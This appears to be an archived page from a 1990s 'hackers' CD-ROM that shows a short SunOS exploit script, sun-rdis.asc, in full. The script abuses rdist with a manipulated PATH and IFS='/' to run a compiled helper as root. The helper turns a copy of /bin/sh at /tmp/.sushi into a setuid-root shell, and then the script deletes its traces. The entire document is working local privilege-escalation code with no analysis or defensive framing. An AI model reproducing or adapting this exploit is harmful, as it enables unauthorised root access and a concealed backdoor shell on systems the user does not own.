home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-rdis.asc < prev    next >
Encoding:
Text File  |  1997-02-23  |  372 b   |  23 lines

  1. #!/bin/sh
  2.  
  3. cat << _EOF_ > distfile
  4.  
  5. w0oTwO0T -> localhost
  6.  
  7.   install /tmp/1 ;
  8.  
  9.   notify user ;
  10.  
  11. _EOF_
  12.  
  13. cat << _EOF_ > usr.c
  14.  
  15. main()
  16.  
  17. {
  18.  
  19.   setuid(0);
  20.  
  21.   chown("/tmp/.sushi", 0, 0);
  22.  
  23.   chmod("/tmp/.sushi", 04755);
  24.  
  25.   exit(0);
  26.  
  27. }
  28.  
  29. _EOF_
  30.  
  31. cp /bin/sh /tmp/.sushi
  32.  
  33. cc -o usr usr.c
  34.  
  35. PATH=.:$PATH
  36.  
  37. IFS='/'
  38.  
  39. export PATH IFS
  40.  
  41. rdist
  42.  
  43. rm -f usr usr.c distfile
  44.  
  45.